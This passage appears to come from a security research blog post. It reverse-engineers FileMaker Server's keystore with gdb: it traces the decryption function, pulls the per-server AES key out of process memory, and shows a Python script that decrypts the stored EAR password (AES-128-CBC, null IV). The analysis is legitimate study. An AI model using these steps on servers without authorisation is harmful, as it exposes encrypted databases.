&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info sharedlibrary
From To Syms Read Shared Object Library
0x00007f5dea393a40 0x00007f5dea3f89af Yes (*) /lib/x86_64-linux-gnu/libc++.so.1
0x00007f5dea32e450 0x00007f5dea348ef0 Yes (*) /lib/x86_64-linux-gnu/libc++abi.so.1
0x00007f5de9a21ed0 0x00007f5dea09341d Yes /opt/FileMaker/lib/libFMSLib.so
0x00007f5de8f48560 0x00007f5de959d1f9 Yes /opt/FileMaker/lib/libFMEngine.so
0x00007f5de6e0fb60 0x00007f5de83bdf00 Yes /opt/FileMaker/lib/libDBEngine.so
0x00007f5de61fea20 0x00007f5de63496b9 Yes /opt/FileMaker/lib/libSupport.so
...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Most interesting to us are the non-standard libaries located in &lt;code&gt;/opt/FileMaker/lib&lt;/code&gt; and of course the actual &lt;code&gt;fmserverd&lt;/code&gt; binary.&lt;/p&gt;
&lt;p&gt;The binaries come with some symbol information, so we can try to make sense of any of the contained function names.&lt;/p&gt;
&lt;p&gt;Below I&amp;rsquo;m using &lt;code&gt;objdump&lt;/code&gt; to dump the symbol table and demangle the names (we want human-readable names), and pipe the result to &lt;code&gt;less&lt;/code&gt; to easily scroll through and search in the result.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;objdump -tC &amp;lt;some binary&amp;gt; | less
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 Symbol information allows for much easier debugging, also when you don&amp;rsquo;t have the source code available (even if explicit debug symbols would not be available). I assume the binaries are intentially not stripped (i.e. contain symbols) in the release versions such that it&amp;rsquo;s possible to troubleshoot/debug weird behaviors on deployed systems (although, I guess, you could still keep them separate from the binary and then strip all unneeded in the relase version)&lt;br&gt;&lt;br&gt;If you like to see what is included in a binary and what not, you can write a small C program, compile it with &lt;code&gt;gcc&lt;/code&gt; and once include the &lt;code&gt;-g&lt;/code&gt; flag, once not include the &lt;code&gt;-g&lt;/code&gt; flag and then run &lt;code&gt;strip&lt;/code&gt; over another compiled version. For each of the three versions, you can then run the above &lt;code&gt;objdump&lt;/code&gt; command and see the difference.&lt;br&gt;&lt;br&gt;Fun fact: I later found out that I could have retrieved much more information just by inspecting all the provided symbol information, so I believe I made it a bit harder for myself and that you can arrive at the end result faster than I describe here.
&lt;/div&gt;

&lt;p&gt;Since we are interested in the keystore, we can search for names that could be related. Such terms could be &lt;code&gt;keystore&lt;/code&gt;, &lt;code&gt;EAR&lt;/code&gt;, &lt;code&gt;crypt&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;, &lt;code&gt;AES&lt;/code&gt;, etc.&lt;/p&gt;
&lt;p&gt;As an example, let&amp;rsquo;s say we searched for &amp;ldquo;Password&amp;rdquo; and have identified the following symbol in &lt;code&gt;libSupport&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;00000000000f9a50 g F .text 0000000000000005 Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)`.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we still have our debugger attached, we can have a look at this function from within gdb:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info address Draco::PasswordHash::ComputePasswordHashRawBytes
Symbol &amp;#34;Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)&amp;#34; is a function at address 0x7f5de6220a50.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we disassemble this function we see it&amp;rsquo;s just a jump to &lt;code&gt;PKCS5_PBKDF2_HMAC_SHA1&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) disas 0x7f5de6220a50
Dump of assembler code for function Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*):
 0x00007f5de6220a50 &amp;lt;+0&amp;gt;: jmpq 0x7f5de61fdab0 &amp;lt;PKCS5_PBKDF2_HMAC_SHA1@plt&amp;gt;
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And what &lt;code&gt;PKCS5_PBKDF2_HMAC_SHA1&lt;/code&gt; is doing, we can just look up in the &lt;a href="https://www.openssl.org/docs/man3.1/man3/PKCS5_PBKDF2_HMAC_SHA1.html"&gt;openssl manual&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We still don&amp;rsquo;t know if this function is at all related to what we want to find out (there&amp;rsquo;s a lot of crypto stuff in FileMaker Server), but we can start taking notes and piece together information.&lt;/p&gt;
&lt;p&gt;Not every function will be as short and understandable as the above and you will either need to read a lot of assembly code or could try to figure things out using a decompiled version of the function of interest (for example with &lt;a href="https://ghidra-sre.org"&gt;Ghidra&lt;/a&gt;&amp;rsquo;s decompiler). For where we want to get to, we don&amp;rsquo;t really need a decompiler and can just skim the assembly code, so we will mostly just stay in &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Once we have few ideas and an overview of interesting functions that could be related to the keystore, we can set breakpoints, continue running the program and then perform an action that we want to observe. I always used the opening of a hosted file (&lt;code&gt;fmsadmin open &amp;lt;file&amp;gt;&lt;/code&gt;) as this must read the keystore file and decrypt the EAR password.&lt;/p&gt;
&lt;p&gt;Eventually, I arrived at &lt;code&gt;Draco::Encrypt_AES_decrypt&lt;/code&gt; which is called by &lt;code&gt;Draco::KeyStorageProvider::CryptData&lt;/code&gt; (both in the Support lib) and is responsible for the decryption of the keystore values. Let&amp;rsquo;s see what we can learn when setting a breakpoint at this function (still in the attached debugger):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) b Draco::Encrypt_AES_decrypt
Breakpoint 1 at 0x7f5de61f8a40 (2 locations)
(gdb) c
Continuing.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With the breakpoint set, we can now open a file that has an EAR password stored in the keystore. As soon as the open command is sent, the program hits the breakpoint and stops:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Thread 49 &amp;#34;fmserverd&amp;#34; hit Breakpoint 1, 0x00007f5de61f8a40 in Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&amp;amp;, unsigned char const*)@plt ()
 from /opt/FileMaker/lib/libSupport.so
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we see the &lt;code&gt;@plt&lt;/code&gt; at the end, we need to execute one more &lt;code&gt;jmp&lt;/code&gt; into the actual function with &lt;code&gt;si&lt;/code&gt; (step one instruction).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;@plt&lt;/code&gt; stands for &amp;ldquo;procedure linkage table&amp;rdquo; and is essentially a way to point to a library function which address cannot be known in the linking stage but only dynamically be resolved at run time (as far as I understand it).&lt;/p&gt;
&lt;p&gt;Now that we are in the actual implemented function, let&amp;rsquo;s have a look what arguments are passed to it.&lt;/p&gt;
&lt;p&gt;To do this we first check the CPU registers:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info registers
rax 0x7f5dbf8f6078 140040622530680
rbx 0x7f5dbf8f5af4 140040622529268
rcx 0x20 32
rdx 0x7f5dd863d6c0 140041039107776
rsi 0x30 48
rdi 0x7f5dd80e0e90 140041033485968
rbp 0x7f5dbf8f5ff0 0x7f5dbf8f5ff0
rsp 0x7f5dbf8f5ed8 0x7f5dbf8f5ed8
r8 0x7f5dbf8f5f80 140040622530432
r9 0x0 0
r10 0x7f5dd8105b9c 140041033636764
r11 0x7f5dbf8f5cc8 140040622529736
r12 0x1 1
r13 0x3e5 997
r14 0x7f5dbf8f6040 140040622530624
r15 0x7f5dbf8f5fb0 140040622530480
rip 0x7f5de62217f0 0x7f5de62217f0 &amp;lt;Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&amp;amp;, unsigned char const*)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Based on x86-64 calling conventions, we know how and in what registers functions receive their arguments from their caller (see &amp;ldquo;A.2 AMD64 Linux Kernel Conventions&amp;rdquo; in &lt;a href="https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.99.pdf"&gt;AMD64 System V Application Binary Interface&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Quoted from the linked document:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;User-level applications use as integer registers for passing the sequence %rdi, %rsi, %rdx, %rcx, %r8 and %r9.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We don&amp;rsquo;t have any parameter names but we &lt;em&gt;do&lt;/em&gt; know the signature of our discovered function (&lt;code&gt;unsigned char*, int, unsigned char const*, int, unsigned int&amp;amp;, unsigned char const*&lt;/code&gt;). So let&amp;rsquo;s map the arguments:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rdi&lt;/code&gt;: A pointer to 0x7f5dd80e0e90&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rsi&lt;/code&gt;: An integer with value 48&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt;: A pointer to 0x7f5dd863d6c0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt;: An integer with value 32&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r8&lt;/code&gt;: A pointer to 0x7f5dbf8f5f80&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r9&lt;/code&gt;: Null&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since we only have 6 parameters, we don&amp;rsquo;t need to look at the stack for more.&lt;/p&gt;
&lt;p&gt;Now let&amp;rsquo;s inspect the addresses in more detail.&lt;/p&gt;
&lt;p&gt;We assume that the second and fourth parameter indicates the size of the previous parameter, as this is quite common.&lt;/p&gt;
&lt;p&gt;Checking 48 byes from address &lt;code&gt;0x7f5dd80e0e90&lt;/code&gt; (&lt;code&gt;rdi&lt;/code&gt;):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) x/48xb 0x7f5dd80e0e90
0x7f5dd80e0e90: 0x6f 0x8e 0x36 0x87 0x79 0x52 0xb2 0x58
0x7f5dd80e0e98: 0x19 0xeb 0xa1 0xc0 0xc2 0x84 0x8e 0xef
0x7f5dd80e0ea0: 0xe8 0xe6 0xd5 0x77 0x30 0xd0 0xee 0xc3
0x7f5dd80e0ea8: 0x4a 0x64 0x65 0x5b 0xd6 0xe4 0x46 0xb8
0x7f5dd80e0eb0: 0xfb 0x11 0x47 0x91 0x61 0xa8 0xfc 0x2b
0x7f5dd80e0eb8: 0xa5 0x44 0xb0 0xb5 0x92 0x62 0x1f 0x31
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we compare this to our encrypted EAR password that we looked at earlier, it comes out as the same sequence of bytes:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ echo -n &amp;#39;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x&amp;#39; | base64 -d | xxd
00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can be pretty sure that this argument is the ciphertext from the keystore.&lt;/p&gt;
&lt;p&gt;What about &lt;code&gt;0x7f5dd863d6c0&lt;/code&gt; (&lt;code&gt;rdx&lt;/code&gt;)? Let check 32 bytes from there:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) x/32xb 0x7f5dd863d6c0
0x7f5dd863d6c0: 0xa5 0x10 0xc9 0xf2 0x24 0xde 0x97 0x1b
0x7f5dd863d6c8: 0x45 0x95 0x82 0xae 0xec 0x5b 0xc8 0x84
0x7f5dd863d6d0: 0x9c 0x9f 0xb1 0xa0 0x4c 0xe4 0xba 0x27
0x7f5dd863d6d8: 0x31 0x0d 0x03 0xf0 0xef 0x67 0xc6 0x27
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we are expecting a 256-bit key, this could be it.&lt;/p&gt;
&lt;p&gt;Now we have the values of &lt;code&gt;r8&lt;/code&gt; and &lt;code&gt;r9&lt;/code&gt; left. We don&amp;rsquo;t know about the first, but the latter is 0 (&lt;code&gt;0x00&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Since we expect AES to be used in CBC mode without an initialization vector (IV), maybe this could be the &amp;ldquo;null IV&amp;rdquo;!?&lt;/p&gt;
&lt;p&gt;We already have potentially useful information here, but let&amp;rsquo;s check what &lt;code&gt;Encrypt_AES_decrypt&lt;/code&gt; is actually doing and if we can get any further hints.&lt;/p&gt;
&lt;p&gt;To do this, we can disassemble the function right from GDB:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Dump of assembler code for function Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&amp;amp;, unsigned char const*):
=&amp;gt; 0x00007f5de62217f0 &amp;lt;+0&amp;gt;: push %rbp
 ...
 0x00007f5de6221855 &amp;lt;+101&amp;gt;: mov %rax,%rbx
 0x00007f5de6221858 &amp;lt;+104&amp;gt;: callq 0x7f5de61f9bf0 &amp;lt;EVP_aes_128_cbc@plt&amp;gt;
 ...
 0x00007f5de622186b &amp;lt;+123&amp;gt;: callq 0x7f5de61f8d00 &amp;lt;EVP_DecryptInit_ex@plt&amp;gt;
 ...
 0x00007f5de6221881 &amp;lt;+145&amp;gt;: callq 0x7f5de61fd870 &amp;lt;EVP_DecryptUpdate@plt&amp;gt;
 ...
 0x00007f5de62218a4 &amp;lt;+180&amp;gt;: callq 0x7f5de61fc980 &amp;lt;EVP_DecryptFinal_ex@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I removed some instructions above to only show the interesting calls. GDB resolves the addresses and shows us calls to OpenSSL functions, for example &lt;a href="https://www.openssl.org/docs/manmaster/man3/EVP_aes_128_cbc.html%60"&gt;&lt;code&gt;EVP_aes_128_cbc&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We could look up the details and source code for these functions as they are publicly known.&lt;/p&gt;
&lt;p&gt;While not a big deal, it&amp;rsquo;s a bit of a surprise to see &lt;code&gt;EVP_aes_128_cbc&lt;/code&gt; as we were expecting &lt;code&gt;EVP_aes_256_cbc&lt;/code&gt; as that would match what is written in Claris&amp;rsquo; documentation.&lt;/p&gt;
&lt;p&gt;For now, we just set another breakpoint at the first and second call, &lt;code&gt;(gdb) b EVP_aes_128_cbc&lt;/code&gt; and &lt;code&gt;(gdb) b EVP_DecryptInit_ex&lt;/code&gt;, and then continue running the program (&lt;code&gt;c&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;At this stage we just want to verify that the function is actually called (we could have also read and understand all the disassembled instructions instead).&lt;/p&gt;
&lt;p&gt;Both breakpoints hit. And in the second one, we can actually verify our assumptions from above as we know the parameters names and their meaning for the decryption intialization function from the OpenSSL documentation.&lt;/p&gt;
&lt;p&gt;This means we have learned so far:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AES is used in CBC mode&lt;/li&gt;
&lt;li&gt;We have a 256 bit key, but are using &lt;code&gt;EVP_aes_128_cbc&lt;/code&gt; and thus only use the first half of the key (probably a bug)&lt;/li&gt;
&lt;li&gt;We know the IV is set to all zeros (16 bytes, like the block size)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="building-our-own-decryptor"&gt;Building our own decryptor&lt;/h2&gt;
&lt;p&gt;It&amp;rsquo;s time to test if the data we discovered can actually be used to independently decrypt the keystore values.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s build a small Python script and re-implement what we discovered. I&amp;rsquo;m using &lt;a href="https://www.pycryptodome.org"&gt;PyCryptodome&lt;/a&gt; for the crypto routines.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;base64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Cipher&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Util.Padding&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;decoded_ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_CBC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded_ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;b442h3l&amp;lt;snip&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a510c&amp;lt;snip&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;plaintext: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Starting in &lt;code&gt;main&lt;/code&gt;, the &lt;code&gt;ciphertext&lt;/code&gt; is our base64-encoded string from the keystore, the &lt;code&gt;key&lt;/code&gt; is the key we discovered via the debugging process (unique per server), and &lt;code&gt;iv&lt;/code&gt; is just 16 null bytes (16 bytes being the block size). From the 32 byte key we only pass byte 0 to 15 to have a 128-bit key.&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;decrypt&lt;/code&gt; function, we first base64-decode the ciphertext, then initialize the cipher with the passed values and CBC mode.&lt;/p&gt;
&lt;p&gt;Lastly, we decrypt the ciphertext and return the plaintext (unpadded, to remove the padding at the end that completes a full block).&lt;/p&gt;
&lt;p&gt;Running the script successfully reveals the plaintext value (in this case the EAR password we decided to store before).&lt;/p&gt;
&lt;p&gt;While we now have everything we need to decrypt other values on our server, our main goal was to better understand how the keystore works. And we still don&amp;rsquo;t know how the key we found was derived – it cannot be a hardcoded key, as it&amp;rsquo;s different from server to server. Let&amp;rsquo;s dig in more.&lt;/p&gt;
&lt;h2 id="figuring-out-how-the-key-is-derived"&gt;Figuring out how the key is derived&lt;/h2&gt;
&lt;p&gt;Above we saw that &lt;code&gt;Encrypt_AES_decrypt&lt;/code&gt; already gets the key passed to it and that it is called by &lt;code&gt;Draco::KeyStorageProvider::CryptData&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can look at the &lt;code&gt;CryptData&lt;/code&gt; function from within gdb:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) disas &amp;#39;Draco::KeyStorageProvider::CryptData&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This function is certainly more involved with lots of conditional &lt;code&gt;jmp&lt;/code&gt;s and calls.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first demangle the function names to make it bit easier to browse through:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) set print asm-demangle on
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Disassembling the function again and just looking at the symbols before our &lt;code&gt;Encrypt_AES_decrypt&lt;/code&gt; and &lt;code&gt;Encrypt_AES_encrypt&lt;/code&gt; calls, we see two names that stick out:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x00007f77a60ec76c &amp;lt;+508&amp;gt;: callq 0x7f77a60431d0 &amp;lt;Draco::Machine::GetPersistentID()@plt&amp;gt;
...
0x00007f77a60ec947 &amp;lt;+983&amp;gt;: callq 0x7f77a603f120 &amp;lt;Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;From the Claris documentation, we know that &lt;em&gt;&amp;ldquo;FileMaker [&amp;hellip;] uses a composite key based on information from the machine to encrypt the password and stores the password securely on the server.&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Since we know the &lt;code&gt;Get(PersistentID)&lt;/code&gt; function from FileMaker Pro&amp;rsquo;s calculation environment returns a unique identifier for the current machine it is running on, we can assume that &lt;code&gt;Draco::Machine::GetPersistentID()&lt;/code&gt; function does something similar or the same.&lt;/p&gt;
&lt;p&gt;At the same time, we can assume that this ID goes into the &amp;ldquo;composite key based on information from the machine&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;While we can also make an assumption what the &lt;code&gt;ComputePasswordHashRawBytes&lt;/code&gt; is doing, based on the name, we will go through the same debugging procedure as with the &lt;code&gt;Encrypt_AES_decrypt&lt;/code&gt; function above to get more insights.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s set a breakpoint, continue with the program and then close/open our sample database file again:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) b Draco::PasswordHash::ComputePasswordHashRawBytes
Breakpoint 1 at 0x7f77a603f120 (2 locations)
(gdb) c
Continuing.

Thread 49 &amp;#34;fmserverd&amp;#34; hit Breakpoint 1, 0x00007f77a603f120 in Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@plt () from /opt/FileMaker/lib/libSupport.so
(gdb) disas
Dump of assembler code for function _ZN5Draco12PasswordHash27ComputePasswordHashRawBytesEPKcjPKhjiiPh@plt:
=&amp;gt; 0x00007f77a603f120 &amp;lt;+0&amp;gt;: jmpq *0x2b076a(%rip) # 0x7f77a62ef890 &amp;lt;Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@got.plt&amp;gt;
 0x00007f77a603f126 &amp;lt;+6&amp;gt;: pushq $0x10f
 0x00007f77a603f12b &amp;lt;+11&amp;gt;: jmpq 0x7f77a603e020
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We step again into the actual function and then have a look at the arguments being passed. We know the signature, so let&amp;rsquo;s map the register values:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
